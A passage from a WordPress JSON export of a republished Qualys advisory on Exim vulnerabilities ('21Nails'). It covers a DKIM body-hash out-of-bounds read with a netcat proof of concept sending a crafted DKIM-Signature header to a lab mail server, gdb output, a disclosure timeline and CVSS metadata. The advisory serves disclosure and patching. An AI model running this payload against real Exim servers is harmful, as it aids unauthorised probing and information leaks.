(through a \\&#8221;DKIM-Signature:\\&#8221; mail header) and memcmp() is called without\\n    checking first that sig-\\u003ebodyhash.len is equal to b-\\u003ebh.len: memcmp()\\n    can read sig-\\u003ebodyhash.data out-of-bounds.\\n    \\n    If the acl_smtp_dkim is set (it is unset by default), an unauthenticated\\n    remote attacker may transform this vulnerability into an information\\n    disclosure; we have not fully explored this possibility.\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    Proof of concept\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    (\\n    sleep 10;\\n    echo &#8216;EHLO test&#8217;;\\n    sleep 3;\\n    echo &#8216;MAIL FROM:\\u003c\\u003e&#8217;;\\n    sleep 3;\\n    echo &#8216;RCPT TO:postmaster&#8217;;\\n    sleep 3;\\n    echo &#8216;DATA&#8217;;\\n    sleep 30;\\n    printf &#8216;DKIM-Signature:a=rsa-sha512;bh=QUFB\\\\r\\\\n\\\\r\\\\nXXX\\\\r\\\\n.\\\\r\\\\n&#8217;;\\n    sleep 30\\n    ) | nc -n -v 192.168.56.101 25\\n    \\n    Breakpoint 6, 0x000055e180320401 in pdkim_finish_bodyhash (ctx=\\u003coptimized out\\u003e) at pdkim.c:825\\n    (gdb) print sig-\\u003ebodyhash\\n    $2 = {data = 0x55e181b9ed10 \\&#8221;AAA\\&#8221;, len = 3}\\n    (gdb) print b-\\u003ebh.len\\n    $3 = 64\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    History\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    This vulnerability was introduced in Exim 4.70:\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    commit 80a47a2c9633437d4ceebd214cd44abfbd4f4543\\n    Date:   Wed Jun 10 07:34:04 2009 +0000\\n    &#8230;\\n    +      if (memcmp(bh,sig-\\u003ebodyhash,\\n    +                 (sig-\\u003ealgo == PDKIM_ALGO_RSA_SHA1)?20:32) == 0) {\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    \\n    \\n    ========================================================================\\n    Acknowledgments\\n    ========================================================================\\n    \\n    We thank Exim&#8217;s developers for their hard work on this security release.\\n    We thank Mitre&#8217;s CVE Assignment Team for their quick responses to our\\n    requests. We thank Damien Miller for his kind answers to our seteuid()\\n    questions. We also thank the members of distros@openwall.\\n    \\n    \\n    \\n    ========================================================================\\n    Timeline (abridged)\\n    ========================================================================\\n    \\n    2020-10-20: We (qsa@qualys) informed Exim (security@exim) that we\\n    audited central parts of the code, discovered multiple vulnerabilities,\\n    and are working on an advisory. Exim immediately acknowledged our mail.\\n    \\n    2020-10-28: We sent the first draft of our advisory to Exim. They\\n    immediately acknowledged our mail, and started to work on patches.\\n    \\n    2020-10-29: We sent a list of 10 secondary issues to Exim (to the best\\n    of our knowledge, these issues are not CVE-worthy).\\n    \\n    2020-10-30: We requested 20 CVEs from Mitre. They were assigned on the\\n    same day, and we immediately transmitted them to Exim.\\n    \\n    2020-11-13: Exim gave us read access to their private Git repository. We\\n    started reviewing their first set of patches (which tackled 7 CVEs).\\n    \\n    2020-11-17 and 2020-11-18: We sent a two-part patch review to Exim\\n    (several patches were incomplete).\\n    \\n    2020-12-02: A second set of patches (which tackled 7 secondary issues)\\n    appeared in Exim&#8217;s private Git repository. We started reviewing it.\\n    \\n    2020-12-09: We sent our second patch review to Exim.\\n    \\n    2021-01-28: We mailed Exim and offered to work on the incomplete and\\n    missing patches (the last commit in Exim&#8217;s private Git repository dated\\n    from 2020-12-02).\\n    \\n    2021-02-05: Exim acknowledged our mail. We started to write a minimal\\n    but complete set of patches (on top of exim-4.94+fixes).\\n    \\n    2021-02-15: While working on a patch for CVE-2020-28014, we discovered\\n    CVE-2021-27216. We requested a CVE from Mitre, and immediately sent a\\n    heads-up to Exim.\\n    \\n    2021-02-24: We completed our minimal set of patches and sent it to Exim.\\n    \\n    2021-04-17: Exim proposed 2021-05-04 for the Coordinated Release Date.\\n    \\n    2021-04-19: We accepted the proposed Coordinated Release Date.\\n    \\n    2021-04-21: Exim publicly announced the impending security release.\\n    \\n    2021-04-27: Exim provided packagers and maintainers (including\\n    distros@openwall) with access to their security Git repository.\\n    \\n    2021-04-28: We sent a draft of our advisory and our minimal set of\\n    patches to distros@openwall.\\n    \\n    2021-05-04: Coordinated Release Date (13:30 UTC).&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/215377&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:10,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;AV:N\/AC:L\/Au:N\/C:C\/I:C\/A:C&#8221;,&#8221;version&#8221;:&#8221;2.0&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;3.0&#8243;,&#8221;vectorString&#8221;:&#8221;CVSS:3.0\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;baseScore&#8221;:9.8,&#8221;baseSeverity&#8221;:&#8221;CRITICAL&#8221;,&#8221;attackVector&#8221;:&#8221;NETWORK&#8221;,&#8221;attackComplexity&#8221;:&#8221;LOW&#8221;,&#8221;privilegesRequired&#8221;:&#8221;NONE&#8221;,&#8221;userInteraction&#8221;:&#8221;NONE&#8221;,&#8221;scope&#8221;:&#8221;UNCHANGED&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;HIGH&#8221;,&#8221;integrityImpact&#8221;:&#8221;HIGH&#8221;,&#8221;availabilityImpact&#8221;:&#8221;HIGH&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/215377\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-11T17:47:51&#8243;,&#8221;description&#8221;:&#8221;Qualys audited central parts of the Exim mail server and discovered 21 vulnerabilities, with 11 being local vulnerabilities and 10 being remote vulnerabilities. This is&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,36,12,15,13,53,7,11,5],"class_list":["post-40484","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-100","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Qualys Security Advisory - Exim 21Nails Advisory_PACKETSTORM:215377 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=40484\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Qualys Security Advisory - Exim 21Nails Advisory_PACKETSTORM:215377 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-02-11T17:47:51&#8243;,&#8221;description&#8221;:&#8221;Qualys audited central parts of the Exim mail server and discovered 21 vulnerabilities, with 11 being local vulnerabilities and 10 being remote vulnerabilities. This is...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=40484\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-11T12:47:33+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"63 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40484#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40484\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Qualys Security Advisory &#8211; Exim 21Nails Advisory_PACKETSTORM:215377\",\"datePublished\":\"2026-02-11T12:47:33+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40484\"},\"wordCount\":12548,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-10.0\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=40484#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40484\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40484\",\"name\":\"\ud83d\udcc4 Qualys Security Advisory - Exim 21Nails Advisory_PACKETSTORM:215377 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-02-11T12:47:33+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40484#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=40484\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40484#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Qualys Security Advisory &#8211; Exim 21Nails Advisory_PACKETSTORM:215377\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Qualys Security Advisory - Exim 21Nails Advisory_PACKETSTORM:215377 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=40484","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Qualys Security Advisory - Exim 21Nails Advisory_PACKETSTORM:215377 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-02-11T17:47:51&#8243;,&#8221;description&#8221;:&#8221;Qualys audited central parts of the Exim mail server and discovered 21 vulnerabilities, with 11 being local vulnerabilities and 10 being remote vulnerabilities. This is...","og_url":"https:\/\/zero.redgem.net\/?p=40484","og_site_name":"zero redgem","article_published_time":"2026-02-11T12:47:33+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"63 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=40484#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=40484"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Qualys Security Advisory &#8211; Exim 21Nails Advisory_PACKETSTORM:215377","datePublished":"2026-02-11T12:47:33+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=40484"},"wordCount":12548,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-10.0","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=40484#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=40484","url":"https:\/\/zero.redgem.net\/?p=40484","name":"\ud83d\udcc4 Qualys Security Advisory - Exim 21Nails Advisory_PACKETSTORM:215377 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-02-11T12:47:33+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=40484#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=40484"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=40484#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Qualys Security Advisory &#8211; Exim 21Nails Advisory_PACKETSTORM:215377"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/40484","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=40484"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/40484\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=40484"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=40484"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=40484"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}